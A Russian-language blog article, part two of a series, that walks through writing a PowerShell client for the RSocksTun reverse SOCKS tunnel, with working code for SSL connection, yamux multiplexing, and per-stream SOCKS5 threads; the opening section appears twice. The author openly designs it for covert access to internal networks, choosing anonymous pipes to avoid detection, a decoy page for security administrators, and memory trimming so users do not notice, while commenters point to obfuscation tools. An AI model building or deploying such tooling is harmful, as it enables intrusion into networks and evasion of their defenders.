История об исследовании и разработке в 3-х частях. Часть 2 — разработческая.
Буков много — пользы еще больше.
В первой части статьи мы познакомились с некоторым инструментарием по организации обратных туннелей, посмотрели на их преимущества и недостатки, изучили механизм работы Yamux мультиплексора и описали основные требования к вновь создаваемому powershell-модулю. Настало время заняться разработкой клиентского powershell модуля к уже готовой реализации обратного туннеля RSocksTun.
Прежде всего, нам необходимо понять, в каком режиме будет работать наш модуль. Очевидно, что для прима-передачи данных нам необходимо будет использовать механизм windows сокетов и предоставляемые .Net возможности по потоковому чтению-записи в сокеты. Но, с другой стороны, т.к. наш модуль должен обслуживать несколько yamux-стримов одновременно, то все операции ввода-вывода не должны полностью блокировать выполнение нашей программы. Отсюда напрашивается вывод о том, что наш модуль должен использовать программную многопоточность и выполнять операции чтения-записи с yamux-сервером, а так же операции чтения-записи к серверам назначения в разных программных потоках. Ну и само собой необходимо предусмотреть механизм взаимодействия между нашими параллельными потоками. Благо, powershell предоставляет широкие возможности по запуску и управлению программными потоками.
Таким образом, общий алгоритм работы нашего клиента должен быть примерно таким:
Итак, в нашем клиенте необходимо реализовать как минимум 3 программных потока:
И, естественно, нам необходимо предусмотреть взаимодействие между всеми этими потоками.
Нам нужно не только обеспечить такое взаимодействие, но и получить удобство потокового ввода-вывода (аналогично как в сокетах). Наиболее подходящим механизмом будет использование программных пайпов. В ОС Windows пайпы бывают именные, когда у каждого пайпа есть свое имя, и анонимные — каждый пайп идентифицируется его хендлером. С целью скрытности, конечно же, мы будем использовать анонимные пайпы. (Ведь мы же не хотим, чтобы наш модуль вычислялся по использованию именных пайпов в системе — да?). Таким образом, между основным/обратным потоками и socks-потоками взаимодействие будет осуществляться через анонимные пайпы (anonymous pipes), поддерживающие асинхронные потоковые операции ввода-вывода. Между основным и обратными потоками общение будет происходить через механизм shared-object (общих синхронизируемых переменных) (подробнее про то, что такое эти переменные и как с ними жить можно прочесть здесь).
Информацию о запущенных socks-потоках мы должны хранить в соответствующей структуре данных. При создании socks-потока в эту структуру мы должны записать:
Итак, с точки зрения обработки данных, работа нашей программы строится следующим образом:
Получение и анализ Yamux заголовка
Наш модуль сперва устанавливает SSL-соединение к серверу и авторизуется по паролю:
Затем, скрипт ждет 12-байтный yamux-заголовок и анализирует его.
Здесь есть небольшой нюанс… Как показывает практика, простого чтения 12 байт из сокета:
недостаточно, так как операция чтения может завершиться после прихода лишь части необходимых байт. Следовательно, нам требуется ждать все 12-байт в цикле:
После завершения цикла мы должны проанализировать 12-байтовый заголовок, содержащийся в переменной $ymxbuffer на его тип и установленные флаги в соответствии со спецификацией Yamux'а.
Yamux-заголовок может быть нескольких типов:
Все что не подходит под перечисленные типы yamux заголовков мы считаем исключительной ситуацией. 10 таких исключений и мы считаем, что тут что-то не так и завершаем работу нашего модуля.(а так же стираем все наши файлы, вайпаем диск, меняем фамилию, делаем новый паспорт, уезжаем из страны и т.д. по списку...)
Создание нового socks-потока
Получив yamux-пакет на установление нового стрима, наш клиент создает два анонимных серверных пайпа ($sipipe, $sopipe), для in/out соответственно, на их основе создает клиентские пайпы ($cipipe, $copipe):
создает runspace для socks-потока, задает shared переменные для взаимодействия с этим потоком (StopFlag) и запускает scriptblock SocksScript, реализующий функционал socks-сервера в отдельном потоке:
Созданные переменные записываются в специальную структуру ArrayList — аналог Dictionary в Python
Добавление происходит через встроенный метод Add:
Обработка Yamux Data
При поступлении от yamux-сервера данных, предназначенных какому-либо socks-потоку мы должны из 12-байтного yamux-заголовка определить номер yamux-стрима (номер socks-потока, для которого эти данные предназначены), а так же количество байт данных:
Затем из ArrayList stream по полю ymxId получаем хендлеры серверного out-пайпа, соответствующего этому socks-потоку:
После этого читаем данные из сокета, помня о том, что читать нужно через цикл определенное количество байт:
и записываем полученные данные в соответствующий пайп:
Обработка Yamux FIN — завершение стрима
При получении от yamix-сервера пакета, сигнализирующего о закрытии какого-либо стрима, мы также, сначала из 12-байтного заголовка получаем номер yamux стрима:
затем, через shared-переменную (вернее массив флагов, где индексом является номер yamux стрима) сигнализируем socks-потоку о необходимости завершения:
после установки флага, перед тем как убивать socks-поток — необходимо выждать определенное количество времени для того, чтобы socks-поток успел данный флаг обработать. 200 мс вполне хватает для этого:
затем закрываем все пайпы, относящиеся к данному потоку, закрываем соответствующий Runspace и убиваем Powershell object для освобождения ресурсов:
После закрытия socks-потока нам необходимо удалить соответствующий элемент из ArrayList streams:
И в конце нам необходимо принудительно запустить сборщик мусора .Net чтобы освободить используемые потоком ресурсы. В противном случае, наш скрипт будет потреблять порядка 100-200 Мб памяти, что может броситься в глаза опытному и въедливому пользователю, а нам этого не надо:
Как уже было сказано выше, данные поступившие из socks-потоков, обрабатываются отдельным потоком yamuxScript, который стартует с самого начала (после успешного коннекта к серверу). Его задача состоит в том, чтобы периодически опрашивать выходные пайпы socks-потоков, находящиеся в ArrayList $streams:
и при наличии в них данных отправлять их на yamux-сервер, предварительно снабдив соответствующим 12-байтовым yamux заголовком, содержащим в себе номер yamux-сессии и количество байт данных:
Также yamuxScript следит за установленным флагом в shared массиве $StopFlag, для каждого из выполняемых socksScript потоков. Этот флаг может быть установлен в значение равное 2, в случае если удаленный сервер, с которым работает socksScript, разрывает соединение. В такой ситуации информацию нужно сообщить socks-клиенту. Цепочка получается следующая: yamuxScript должен сообщить об этом yamux серверу о разрыве соединения, чтобы тот в свою очередь сигнализировал об этом socks-клиенту.
Помимо этого, yamuxScript должен следить за количеством полученный от yamux-сервера байт и периодически отправлять YMX WinUpdate Message. Этот механизм в Yamux отвечает за контроль и изменение так называемого window size (по аналогии с протоколом TCP) — количества байт данных, которое может быть отправлено без подтверждения приема. По умолчанию window size равен 256 Kbytes. Это означает, что при отправке-получении файлов или данных больше этого размера нам необходимо отправить windpw update пакет yamux-серверу. Для контроля за количеством принятых данных от yamux-сервера введен специальный shared array $RcvBytes, в который основным потоком путем инкремента текущего значения записывается количество полученных от сервера байт для каждого стрима. При превышении установленного порога, yamuxScript должен отправить на сервер WinUpdate пакет и обнулить счетчик:
Теперь перейдем непосредственно к самому socksScript.
Напомним, что socksScript вызывается асинхронно:
и на момент вызова в составе передаваемой потоку переменной $state присутствуют следующие данные:
Данные в пайпы поступают уже в сыром виде без yamux-заголовков, т.е. в том виде, в котором они пришли от socks-клиента.
Внутри socksScript прежде всего мы должны определить версию сокса и убедиться что она равна 5:
Ну а далее делаем ровно так, как реализовано в скрипте Invoke-SocksProxy. Единственным отличием будет то, что нам вместо вызовов
Необходимо в цикличном режиме мониторить tcp соединение и соответствующий флаг завершения в массиве $StopFlag, иначе мы не сможем распознать ситуацию окончания соединения со стороны socks-клиента и ymux-сервера:
В случае, если соединение завершается со стороны tcp сервера, к которому мы подключаемся, мы устанавливаем данный флаг в значение равное 2, что заставит yamuxscript распознать это и передать на yamux сервер соответствующий ymx FIN пакет:
Так же мы должны установить данный флаг в случае, если socksScript не сможет подключиться к серверу назначения:
В ходе наших кодерских изысканий нам удалось создать powershell-клиент к нашему RsocksTun серверу с возможностью:
За пределами статьи осталась реализация функционала по соединению через прокси-сервер и авторизацию на нем, а так же превращению нашего скрипта в inline-версию, которую можно запустить из командной строки. Это будет в третьей части.
На сегодня все. Как говорится — подписывайтесь, ставьте лайки, оставляйте комментарии (особенно касаемые ваших мыслей по улучшению кода и добавлению функционала).
Буков много — пользы еще больше.
В первой части статьи мы познакомились с некоторым инструментарием по организации обратных туннелей, посмотрели на их преимущества и недостатки, изучили механизм работы Yamux мультиплексора и описали основные требования к вновь создаваемому powershell-модулю. Настало время заняться разработкой клиентского powershell модуля к уже готовой реализации обратного туннеля RSocksTun.
Прежде всего, нам необходимо понять, в каком режиме будет работать наш модуль. Очевидно, что для прима-передачи данных нам необходимо будет использовать механизм windows сокетов и предоставляемые .Net возможности по потоковому чтению-записи в сокеты. Но, с другой стороны, т.к. наш модуль должен обслуживать несколько yamux-стримов одновременно, то все операции ввода-вывода не должны полностью блокировать выполнение нашей программы. Отсюда напрашивается вывод о том, что наш модуль должен использовать программную многопоточность и выполнять операции чтения-записи с yamux-сервером, а так же операции чтения-записи к серверам назначения в разных программных потоках. Ну и само собой необходимо предусмотреть механизм взаимодействия между нашими параллельными потоками. Благо, powershell предоставляет широкие возможности по запуску и управлению программными потоками.
Общий алгоритм работы
Таким образом, общий алгоритм работы нашего клиента должен быть примерно таким:
- установить SSL-соединение с сервером;
- авторизоваться по паролю, чтобы сервер смог отличить нас от сотрудника службы безопасности;
- ожидать yamux-пакета на установку нового стрима, периодически отвечая на keepalive-запросы сервера;
- запустить новый программный поток socksScript (не путать со стримом), как только придет yamux пакет на установку нового стрима. Внутри socksScript реализовать работу socks5 сервера;
- по приходу пакета с данными от yamux — понять из 12-байтового заголовка, какому из стримов предназначены данные, а также их размер, прочитать данные от yamux-сервера и передать полученные данные потоку с соответствующим номером стрима;
- периодически контролировать наличие данных, предназначенных для yamux-сервера в каждом из запущенных socks-скриптах. При наличии таковых данных — добавить к ним соответствующий 12-байтовый заголовок и отправить на yamux-сервер;
- по приходу yamux-пакета на закрытие стрима — передать сигнал соответствующему потоку на завершение стрима и разрыв соединения, а после — завершить и сам поток;
Итак, в нашем клиенте необходимо реализовать как минимум 3 программных потока:
- основной, который будет устанавливать соединение, авторизовываться на yamux-сервере, принимать от него данные, обрабатывать yamux-заголовки и отправлять уже сырые данные в другие программные потоки;
- потоки с сокс-серверами. Их может быть несколько — по одному на каждый стрим. В них реализована функциональность socks5. Эти потоки будут взаимодействовать с точками назначения во внутренней сети;
- обратный поток. Он принимает данные от socks-потоков, добавляет к ним yamux-заголовки и отправляет на yamux-сервер;
И, естественно, нам необходимо предусмотреть взаимодействие между всеми этими потоками.
Нам нужно не только обеспечить такое взаимодействие, но и получить удобство потокового ввода-вывода (аналогично как в сокетах). Наиболее подходящим механизмом будет использование программных пайпов. В ОС Windows пайпы бывают именные, когда у каждого пайпа есть свое имя, и анонимные — каждый пайп идентифицируется его хендлером. С целью скрытности, конечно же, мы будем использовать анонимные пайпы. (Ведь мы же не хотим, чтобы наш модуль вычислялся по использованию именных пайпов в системе — да?). Таким образом, между основным/обратным потоками и socks-потоками взаимодействие будет осуществляться через анонимные пайпы (anonymous pipes), поддерживающие асинхронные потоковые операции ввода-вывода. Между основным и обратными потоками общение будет происходить через механизм shared-object (общих синхронизируемых переменных) (подробнее про то, что такое эти переменные и как с ними жить можно прочесть здесь).
Информацию о запущенных socks-потоках мы должны хранить в соответствующей структуре данных. При создании socks-потока в эту структуру мы должны записать:
- номер yamux сессии: $ymxstream;
- 4 переменных для работы с пайпами (каналами): $cipipe, $copipe, $sipipe, $sopipe. Так как анонимные каналы работают либо в IN, либо в OUT, то для каждого socks-потока нам необходимо два анонимных канала, у каждого из которых должно быть по два конца (pipestream) (серверный и клиентский);
- результат выполнения вызова потока — $AsyncJobResult;
- хендлер потока — $Psobj. Через него мы будем закрывать поток и высвобождать ресурсы;
- результат асинхронного чтения из анонимного канала обратным потоком ($readjob). Данная переменная используется в обратном yamuxScript потоке для асинхронного чтения из соответствующего пайпа;
- буфер для чтения данных для каждого socks-потока;
Основной поток
Итак, с точки зрения обработки данных, работа нашей программы строится следующим образом:
- серверная часть (rsockstun — реализована на Golang) поднимает ssl-сервер и ждет подключений от клиента;
- при получении коннекта от клиента, сервер проверяет пароль, и если он верен устанавливает yamux-соединение, поднимает socks-порт и ждет подключения от socks-клиентов (нашего proxychains, браузера, и т.п.), периодически обмениваясь при этом keepalive-пакетами с нашим клиентом. Если пароль неверен — осуществляется редирект на страницу, которую мы указали при установке сервера (это «легальная» страница для бдительного администратора информационной безопасности);
- при получении коннекта от socks-клиента сервер отправляет нашему клиенту yamux-пакет на установление нового стрима (YMX SYN);
Получение и анализ Yamux заголовка
Наш модуль сперва устанавливает SSL-соединение к серверу и авторизуется по паролю:
$tcpConnection = New-Object System.Net.Sockets.TcpClient($server, $port)
$tcpStream = New-Object System.Net.Security.SslStream($tcpConnection.GetStream(),$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$tcpStream.AuthenticateAsClient('127.0.0.1')
Затем, скрипт ждет 12-байтный yamux-заголовок и анализирует его.
Здесь есть небольшой нюанс… Как показывает практика, простого чтения 12 байт из сокета:
$num = $tcpStream.Read($tmpbuffer,0,12)
недостаточно, так как операция чтения может завершиться после прихода лишь части необходимых байт. Следовательно, нам требуется ждать все 12-байт в цикле:
do {
try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {}
$tnum += $num
$ymxbuffer += $tmpbuffer[0..($num-1)]
}while ($tnum -lt 12 -and $tcpConnection.Connected)
После завершения цикла мы должны проанализировать 12-байтовый заголовок, содержащийся в переменной $ymxbuffer на его тип и установленные флаги в соответствии со спецификацией Yamux'а.
Yamux-заголовок может быть нескольких типов:
- ymx syn — установка нового стрима;
- ymx fin — завершение стрима;
- ymx data — представляет информацию о данных (какого они размера и какому стриму предназначены);
- ymx ping — keepalive message;
- ymx win update — подтверждение передачи порции данных;
Все что не подходит под перечисленные типы yamux заголовков мы считаем исключительной ситуацией. 10 таких исключений и мы считаем, что тут что-то не так и завершаем работу нашего модуля.
Создание нового socks-потока
Получив yamux-пакет на установление нового стрима, наш клиент создает два анонимных серверных пайпа ($sipipe, $sopipe), для in/out соответственно, на их основе создает клиентские пайпы ($cipipe, $copipe):
$sipipe = new-object System.IO.Pipes.AnonymousPipeServerStream(1)
$sopipe = new-object System.IO.Pipes.AnonymousPipeServerStream(2,1)
$sipipe_clHandle = $sipipe.GetClientHandleAsString()
$sopipe_clHandle = $sopipe.GetClientHandleAsString()
$cipipe = new-object System.IO.Pipes.AnonymousPipeClientStream(1,$sopipe_clHandle)
$copipe = new-object System.IO.Pipes.AnonymousPipeClientStream(2,$sipipe_clHandle)
создает runspace для socks-потока, задает shared переменные для взаимодействия с этим потоком (StopFlag) и запускает scriptblock SocksScript, реализующий функционал socks-сервера в отдельном потоке:
$state = [PSCustomObject]@{"StreamID"=$ymxstream;"inputStream"=$cipipe;"outputStream"=$copipe}
$PS = [PowerShell]::Create()
$socksrunspace = [runspacefactory]::CreateRunspace()
$socksrunspace.Open()
$socksrunspace.SessionStateProxy.SetVariable("StopFlag",$StopFlag)
$PS.Runspace = $socksrunspace
$PS.AddScript($socksScript).AddArgument($state) | Out-Null
[System.IAsyncResult]$AsyncJobResult = $null
$StopFlag[$ymxstream] = 0
$AsyncJobResult = $PS.BeginInvoke()
Созданные переменные записываются в специальную структуру ArrayList — аналог Dictionary в Python
[System.Collections.ArrayList]$streams = @{}
Добавление происходит через встроенный метод Add:
$streams.add(@{ymxId=$ymxstream;cinputStream=$cipipe;sinputStream=$sipipe;coutputStream=$copipe;soutputStream=$sopipe;asyncobj=$AsyncJobResult;psobj=$PS;readjob=$null;readbuffer=$readbuffer}) | out-null
Обработка Yamux Data
При поступлении от yamux-сервера данных, предназначенных какому-либо socks-потоку мы должны из 12-байтного yamux-заголовка определить номер yamux-стрима (номер socks-потока, для которого эти данные предназначены), а так же количество байт данных:
$ymxstream = [bitconverter]::ToInt32($buffer[7..4],0)
$ymxcount = [bitconverter]::ToInt32($buffer[11..8],0)
Затем из ArrayList stream по полю ymxId получаем хендлеры серверного out-пайпа, соответствующего этому socks-потоку:
if ($streams.Count -gt 1){$streamind = $streams.ymxId.IndexOf($ymxstream)}
else {$streamind = 0}
$outStream = $streams[$streamind].soutputStream
После этого читаем данные из сокета, помня о том, что читать нужно через цикл определенное количество байт:
$databuffer = $null
$tnum = 0
do {
if ($buffer.length -le ($ymxcount-$tnum)) { $num = $tcpStream.Read($buffer,0,$buffer.Length) }else
{ $num = $tcpStream.Read($buffer,0,($ymxcount-$tnum)) }
$tnum += $num
$databuffer += $buffer[0..($num-1)]
}while ($tnum -lt $ymxcount -and $tcpConnection.Connected)
и записываем полученные данные в соответствующий пайп:
$num = $tcpStream.Read($buffer,0,$ymxcount)
$outStream.Write($buffer,0,$ymxcount)
Обработка Yamux FIN — завершение стрима
При получении от yamix-сервера пакета, сигнализирующего о закрытии какого-либо стрима, мы также, сначала из 12-байтного заголовка получаем номер yamux стрима:
$ymxstream = [bitconverter]::ToInt32($buffer[7..4],0)
затем, через shared-переменную (вернее массив флагов, где индексом является номер yamux стрима) сигнализируем socks-потоку о необходимости завершения:
if ($streams.Count -gt 1){$streamind = $streams.ymxId.IndexOf($ymxstream)}
else {$streamind = 0}
if ($StopFlag[$ymxstream] -eq 0){
write-host "stopflag is 0. Setting to 1"
$StopFlag[$ymxstream] = 1
}
после установки флага, перед тем как убивать socks-поток — необходимо выждать определенное количество времени для того, чтобы socks-поток успел данный флаг обработать. 200 мс вполне хватает для этого:
start-sleep -milliseconds 200 #wait for thread check flag
затем закрываем все пайпы, относящиеся к данному потоку, закрываем соответствующий Runspace и убиваем Powershell object для освобождения ресурсов:
$streams[$streamind].cinputStream.close()
$streams[$streamind].coutputStream.close()
$streams[$streamind].sinputStream.close()
$streams[$streamind].soutputStream.close()
$streams[$streamind].psobj.Runspace.close()
$streams[$streamind].psobj.Dispose()
$streams[$streamind].readbuffer.clear()
После закрытия socks-потока нам необходимо удалить соответствующий элемент из ArrayList streams:
$streams.RemoveAt($streamind)
И в конце нам необходимо принудительно запустить сборщик мусора .Net чтобы освободить используемые потоком ресурсы. В противном случае, наш скрипт будет потреблять порядка 100-200 Мб памяти, что может броситься в глаза опытному и въедливому пользователю, а нам этого не надо:
[System.GC]::Collect()#clear garbage to minimize memory usage
Yamux Script — обратный поток
Как уже было сказано выше, данные поступившие из socks-потоков, обрабатываются отдельным потоком yamuxScript, который стартует с самого начала (после успешного коннекта к серверу). Его задача состоит в том, чтобы периодически опрашивать выходные пайпы socks-потоков, находящиеся в ArrayList $streams:
foreach ($stream in $state.streams){ ... }
и при наличии в них данных отправлять их на yamux-сервер, предварительно снабдив соответствующим 12-байтовым yamux заголовком, содержащим в себе номер yamux-сессии и количество байт данных:
if ($stream.readjob -eq $null){
$stream.readjob = $stream.sinputStream.ReadAsync($stream.readbuffer,0,1024)
}elseif ( $stream.readjob.IsCompleted ){
#if read asyncjob completed - generate yamux header
$outbuf = [byte[]](0x00,0x00,0x00,0x00)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ [bitconverter]::getbytes([int32]$stream.readjob.Result)[3..0]
$state.tcpstream.Write($outbuf,0,12)
#write raw data from socks thread to yamux
$state.tcpstream.Write($stream.readbuffer,0,$stream.readjob.Result)
$state.tcpstream.flush()
#create new readasync job
$stream.readjob = $stream.sinputStream.ReadAsync($stream.readbuffer,0,1024)
}else{
#write-host "Not readed"
}
Также yamuxScript следит за установленным флагом в shared массиве $StopFlag, для каждого из выполняемых socksScript потоков. Этот флаг может быть установлен в значение равное 2, в случае если удаленный сервер, с которым работает socksScript, разрывает соединение. В такой ситуации информацию нужно сообщить socks-клиенту. Цепочка получается следующая: yamuxScript должен сообщить об этом yamux серверу о разрыве соединения, чтобы тот в свою очередь сигнализировал об этом socks-клиенту.
if ($StopFlag[$stream.ymxId] -eq 2){
$stream.ymxId | out-file -Append c:\work\log.txt
$outbuf = [byte[]](0x00,0x01,0x00,0x04)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ [byte[]](0x00,0x00,0x00,0x00)
$state.tcpstream.Write($outbuf,0,12)
$state.tcpstream.flush()
}
Yamux window update
Помимо этого, yamuxScript должен следить за количеством полученный от yamux-сервера байт и периодически отправлять YMX WinUpdate Message. Этот механизм в Yamux отвечает за контроль и изменение так называемого window size (по аналогии с протоколом TCP) — количества байт данных, которое может быть отправлено без подтверждения приема. По умолчанию window size равен 256 Kbytes. Это означает, что при отправке-получении файлов или данных больше этого размера нам необходимо отправить windpw update пакет yamux-серверу. Для контроля за количеством принятых данных от yamux-сервера введен специальный shared array $RcvBytes, в который основным потоком путем инкремента текущего значения записывается количество полученных от сервера байт для каждого стрима. При превышении установленного порога, yamuxScript должен отправить на сервер WinUpdate пакет и обнулить счетчик:
if ($RcvBytes[$stream.ymxId] -ge 256144){
#out win update ymx packet with 256K size
$outbuf = [byte[]](0x00,0x01,0x00,0x00)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ (0x00,0x04,0x00,0x00)
$state.tcpstream.Write($outbuf,0,12)
$RcvBytes[$stream.ymxId] = 0
}
Потоки socksScript
Теперь перейдем непосредственно к самому socksScript.
Напомним, что socksScript вызывается асинхронно:
$state = [PSCustomObject]@{"StreamID"=$ymxstream;"inputStream"=$cipipe;"outputStream"=$copipe}
$PS = [PowerShell]::Create()
....
$AsyncJobResult = $PS.BeginInvoke()
и на момент вызова в составе передаваемой потоку переменной $state присутствуют следующие данные:
- $state.streamId — номер yamux сессии;
- $state.inputStream — read pipe;
- $state.oututStream — write pipe;
Данные в пайпы поступают уже в сыром виде без yamux-заголовков, т.е. в том виде, в котором они пришли от socks-клиента.
Внутри socksScript прежде всего мы должны определить версию сокса и убедиться что она равна 5:
$state.inputStream.Read($buffer,0,2) | Out-Null
$socksVer=$buffer[0]
if ($socksVer -eq 5){ ... }
Ну а далее делаем ровно так, как реализовано в скрипте Invoke-SocksProxy. Единственным отличием будет то, что нам вместо вызовов
$AsyncJobResult.AsyncWaitHandle.WaitOne();
$AsyncJobResult2.AsyncWaitHandle.WaitOne();
Необходимо в цикличном режиме мониторить tcp соединение и соответствующий флаг завершения в массиве $StopFlag, иначе мы не сможем распознать ситуацию окончания соединения со стороны socks-клиента и ymux-сервера:
while ($StopFlag[$state.StreamID] -eq 0 -and $tmpServ.Connected ){
start-sleep -Milliseconds 50
}
В случае, если соединение завершается со стороны tcp сервера, к которому мы подключаемся, мы устанавливаем данный флаг в значение равное 2, что заставит yamuxscript распознать это и передать на yamux сервер соответствующий ymx FIN пакет:
if ($tmpServ.Connected){
$tmpServ.close()
}else{
$StopFlag[$state.StreamID] = 2
}
Так же мы должны установить данный флаг в случае, если socksScript не сможет подключиться к серверу назначения:
if($tmpServ.Connected){ ... }
else{
$buffer[1]=4
$state.outputStream.Write($buffer,0,2)
$StopFlag[$state.StreamID] = 2
}
Заключение ко второй части
В ходе наших кодерских изысканий нам удалось создать powershell-клиент к нашему RsocksTun серверу с возможностью:
- подключения по SSL;
- авторизации на сервере;
- работе с yamux-сервером с поддержкой keepalive пингов;
- мультипоточного режима работы;
- поддержки передачи больших файлов;
За пределами статьи осталась реализация функционала по соединению через прокси-сервер и авторизацию на нем, а так же превращению нашего скрипта в inline-версию, которую можно запустить из командной строки. Это будет в третьей части.
На сегодня все. Как говорится — подписывайтесь, ставьте лайки, оставляйте комментарии (особенно касаемые ваших мыслей по улучшению кода и добавлению функционала).
qw1
Ещё бы весь этот код обфусцировать. Интересно, есть ли готовые решения для PowerShell.
VirusVFV
Invoke-obfuscation к вашим услугам.